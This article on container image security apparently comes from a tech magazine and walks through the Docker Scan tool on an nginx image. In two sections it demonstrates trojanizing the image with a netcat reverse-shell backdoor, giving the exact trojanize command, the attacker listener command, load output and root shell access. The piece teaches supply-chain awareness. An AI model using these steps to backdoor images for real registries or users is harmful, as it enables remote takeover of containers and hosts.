Pedigree

Containers have changed the way software releases occur in modern DevOps environments. The portability they offer is exceptional, and the consistency (being able to package units of functionality together) between development and production environments is invaluable for operational predictability and, ultimately, uptime.

A serious issue, however, that came to the fore some time after the initial flurry of adoption, when enterprises started deploying workloads with value, was how to secure them effectively. You can find more information about the minefield around the security model from one of my earlier articles [1], although it is admittedly a little dated because of the rate of innovation in this space.

In this article, I walk you through automating the analysis of container images and have a look at how easily a trojan downloaded from a popular registry (e.g., Docker Hub) might be installed into a public container image.

Four Is the Magic Number

Four key container security areas jump to my mind:

1. The usual package concerns. In other words, you have your Common Vulnerabilities and Exploits (CVEs) [2] that, if you're lucky, are monitored by your operating system (OS) and updated so you can use a package manager to install a newer package with a fix for the security hole. Then, you can rebuild your container.
2. Misbehaving containers. Once your container is running (having been built from an image you trust), you want to keep an eye on its behavior. Misbehaving containers usually mean one of two things: Either you've misconfigured something and broken a service, or someone else has broken into your container and is about to start breaking things. I call this "anomalous behavior." Red flags could include network ports being opened unexpectedly, disk volumes being mounted without previously having been present, and processes spawning that weren't there before. Thanks to the declarative nature of Dockerfiles (i.e., they are statements of exactly what you expect to be inside the resulting containers), it can be relatively easy to know which anomalies are present if they ever do appear.
3. Orchestrators (e.g., Kubernetes or OpenShift) that might be configured to allow access to the host OS. Should a container have root user privileges, and should it be able to adjust host-level settings? The answer should almost definitely be no. With orchestrator features such as Security Context Constraints, Pod Security Policies, and network isolation, you can isolate containers.
4. Untuned host OSs. One area that's overlooked far too often these days is tuning the OS on the container host so the OS will play nicely with your containers and orchestrator. When it comes to fine-tuning your OS, you have the choice of a mountain of changes – from filesystems and the network stack to performance tweaks at the kernel level. I'll leave you to investigate these options further.

With that reassuring discussion about how and where to start mitigating some security issues, I'll now look at using the excellent Docker Scan tool [3], which primarily deals with container images.

Checkers

As you might have guessed from its name, you'll look at Docker as the run time. Docker Scan classes itself, according to its GitHub page, as belonging to "Docker analysis & hacking tools." A YouTube video about the tool [4] jumps straight to the point by admitting that it dissects Docker images and abuses an image registry!

The slides, presented at RootedCON 2017, paint a clear picture, telling you not to trust image tags; instead, you should use digests in the FROM line within your Dockerfile and set up lots of tests during build time so as not to fall foul of nasty container image content. You'll find much more advice, so I'd recommend you watch the video and note some of the attack vectors when it comes to container images.

Invasive Surgery

In its documentation, Docker Scan uses one of the most popular Docker images currently in use worldwide: the performant web server, Nginx. In my examples, I'll use that image, too, because it's slick and lightweight.

Before I go much further, look at Figure 1 for a quick reminder of what an image looks like to Docker, which talks to the Docker API to run its commands. It is the relatively old but suitably simple chrisbinnie/super Dockerfile that I used for a project described in a previous article about SuperContainers [5]. The basic elements, which are present in most Dockerfiles, include the OS, the packages involved, and the commands to run.

To pull down the nginx image enter:

$ docker pull nginx

Next, you can use the history command to see what the Docker image comprises (Figure 2). For example, the command for nginx:latest is:

$ docker history nginx:latest

If you look at the Docker Hub page for Nginx and follow links to the Dockerfiles of the respective image versions, you should be able to figure out which Dockerfile built the image you're looking at. I'm guessing it is the mainline Debian stretch-slim [6], because it seems to fit if you work from the bottom of the Dockerfile backward.

In Figure 2 you can see the different layers and their sizes that were added by the Dockerfile that helped build this image. I find the history command can be invaluable for troubleshooting.

The --no-trunc command option will show an abbreviated output of the full commands used for each layer. This output can be sifted through to pinpoint more accurately where images suddenly bloat in size and where issues might creep in.

On Your Marks …

Before getting started, you'll need a working Python v3.5+ installation. I found some handy instructions online [7], which I've summarized as best as I can. As superuser (root), you have to run a few commands and set up Python; for example, for Debian derivatives, use:

$ add-apt-repository ppa:jonathonf/python-3.6
$ apt-get update
$ apt-get install python3.6

In Figure 3 you can see that Python v3.6 adds about 23MB of files to your machine. Depending on how much time you've spent with Python, you might not have seen deprecation warnings before. For some future-proofing, I'll show you how to set a default Python version, because you need to tell Docker Scan to use Python v3, not version 2.

For example, the command

$ python --version
Python 2.7.12

reports that Python v2 is installed. After installing the relevant packages, entering python3 instead of python will output the following:

$ python3 --version
Python 3.5.2

On Debian derivatives (I'm using Mint/Ubuntu on my laptop), you can use the following commands to provide easier version switching options:

$ update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.5 1
$ update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.6 2
$ update-alternatives --config python3

With these commands, you can build a simple menu of sorts to populate your options (Figure 4). When you select 0 in Figure 4, for example, you force the use of version 3.6 and not version 3.5. Compare it to the output of the python3 command above.

Hello Pip, Old Bean

Getting your system ready for Docker Scan requires a few commands:

$ apt install python3-pip
$ python3 -m pip install setuptools
$ python3 -m pip install -U pip # This should say it's already installed

In the first line, the Apt package manager installs the Python pip package manager. Because pip might be available for Python v2, the python3-pip name eliminates confusion. The setuptools package in the second command ensures that pip will behave properly, and the third command verifies that pip is happy. The final command that drops the star of the show into place is:

$ python3 -m pip install dockerscan
Successfully installed booby-ng-0.8.4 click-6.7 colorlog-2.10.0 dockerscan-1.0.0a3 ecdsa-0.13 jws-0.1.3 python-dxf-4.0.1 requests-2.13.0 tqdm-4.31.1 www-authenticate-0.9.2

The lengthy output denotes success.

Help Me

You can now check that Docker Scan is installed by running the command with the -h (help) option (Figure 5):

$ dockerscan -h

For clarity I had previously installed the basic, built-in Docker package (docker.io) with the command:

$ apt install docker.io

You can find information about Docker Community Edition (CE) [8], which will likely install a newer version of Docker Engine.

Personal Brand

Note that in this next section I'm going to walk you part way through the YouTube video [9] that the authors of Docker Scan offer as a reference. There isn't space to fit in all the details that I'd like to include in this article, so if you prefer, you can view the video directly, which is a visual recording of two terminals.

The first step pulls down a public image (from the Docker Hub registry in this case) and saves the container image to your filesystem. I'll also use the popular web server, Nginx, as an example, which is mentioned in the video, too. To begin, I pull down the latest version and save it to disk:

$ docker pull nginx
$ docker save nginx -o nginx-image

Here, I'm simply downloading the nginx image with the "latest" tag and then saving the image (-o) to the filename nginx-image.

Next, I run a dockerscan image info command. Listing 1 shows the tool's output. If you think back to the Dockerfile, you're seeing some of the basic layering information, which is useful for checking that you're working on the correct image.

$ dockerscan image info nginx-image
[ * ] Starting analyzing docker image...
[ * ] Selected image: 'nginx'
[ * ] Analysis finished. Results:
[ * ] - Created date = 2019-02-06T08:11:09.870777091Z
[ * ] - Docker version = 18.06.1-ce
[ * ] - Cmd = nginx -g daemon off;
[ * ] - Labels:
[ * ]   > maintainer
[ * ] - Environment:
[ * ]   > PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[ * ]   > NGINX_VERSION=1.15.8-1~stretch
[ * ]   > NJS_VERSION=1.15.8.0.2.7-1~stretch
[ * ] - Exposed ports:
[ * ]   > 80:
[ * ]     + tcp

You're Attacking Me?

A more sophisticated feature of Docker Scan is the analyze option, which inspects the image for any obvious security issues:

$ dockerscan image analyze nginx-image
[ * ] Starting the analysis of docker image...
[ * ] Selected image: 'nginx'
[ * ] Analysis finished. Results:
[ * ] - Running user = root

As you can see from the output, running the image as root has been flagged as an issue. Users inside containers should be less privileged, to limit their attack surface. If you're interested in improving your container and host security, I wrote about hardening Docker and using Docker namespaces [10] a couple of years ago. However, things move quickly in this field, so you should potentially check for newer documentation to supplement that information.

Helen of Troy

The image modify submenu

$ dockerscan image modify -h

offers the trojanize option to modify and then inject a nasty way of getting access to that container at a later stage. The premise is that this method is much easier than manually making alterations to Dockerfiles, although you easily can automate both types of changes in scripts; if an image registry is overly trustworthy, then once your image is uploaded, other people will unwittingly download your image without knowledge of it being tainted.

To embed a shell backdoor into your Docker image, you can use the unquestionably superb netcat tool [11]. The relatively simple command

$ dockerscan image modify trojanize nginx-image -l XXX.XXX.XXX.XXX -p 2222 -o nginx-trojan

saves a new container image to the filesystem called nginx-trojan, which you can upload later to a registry.

To protect the innocent, I've obfuscated the IP address, so replace XXX.XXX.XXX.XXX with the IP address on which you want netcat to listen in. Listing 2 is the output from the dockerscan command. Netcat is now listening from within your container as a backdoor. To make use of your new image, just check your filesystem, and you should see the file nginx-trojan.tar.

[ * ] Starting analyzing docker image...
[ * ] Selected image: 'nginx'
[ * ] Image trojanized successful
[ * ] Trojanized image location:
[ * ]   > /root/nginx-trojan.tar
[ * ] To receive the reverse shell, only write:
[ * ]   > nc -v -k -l XXX.XXX.XXX.XXX 2222

Now run the load command shown in Listing 3 to import your saved tarball file back into Docker. The -i switch allows an input string. As you can see from the output, Docker tidied up after itself by renaming the old image.

$ docker load -i nginx-trojan.tar
53bbd7a916c6: Loading layer [==================================================>]  20.48kB/20.48kB
The image nginx:latest already exists, renaming the old one with ID sha256: f09fe80eb0e75e97b04b9dfb065ac3fda37a8fac0161f42fca1e6fe4d0977c80 to empty string
Loaded image: nginx:latest

With the docker images command, you can see exactly what it has done. The new image containing the trojan now has the hashed ID 35640fed495c (Listing 4).

$ docker images
REPOSITORY   TAG      IMAGE ID       CREATED        SIZE
nginx        <none>   f09fe80eb0e7   12 days ago   109MB
nginx        latest   35640fed495c   12 days ago   109MB

Backdoor Access

Considering how well Docker Scan handled the Docker API and processed its commands, I'm certain the image is indeed running netcat in the background, which is providing remote shell access. Of course, you can check that properly by running your new image (image 35640fed495c is tagged as nginx:latest) and firing up a new Nginx container:

$ docker run nginx:latest

By using netcat in the other direction, you connect the listening netcat instance within the container. You can refer back to the netcat article mentioned earlier [11] if you get stuck. Note that the command

$ nc -v -k -l XXX.XXX.XXX.XXX 2222

connects locally (not publicly, which is what the XXX.XXX.XXX.XXX IP address would provide under the trojanize command used earlier).

Table 1 spills the beans: You're logged in as root and have access the top level of the filesystem! For clarity, I include the commands I used; they run in a pseudo-shell of sorts that does not have the usual prompt. Frighteningly enough, however, such a shell runs all the system-level commands you'd need to hack a container and, potentially, its host.

As you can imagine from the information in Table 1, you now truly own the container and indeed anything that it can do on the host. I will leave you to mull over the blast radius that might involve.

The End Is Nigh

With popular image registries now brimming with publicly accessible images, you can see why being able to determine the provenance of a container image is so critical to your security posture.

I've barely scratched the surface of the sophisticated Docker Scan tool, which I hope you will spend some time looking into. Once the Python environment is up and running, it's very slick and easy to use, with a number of features that are well worth investigating.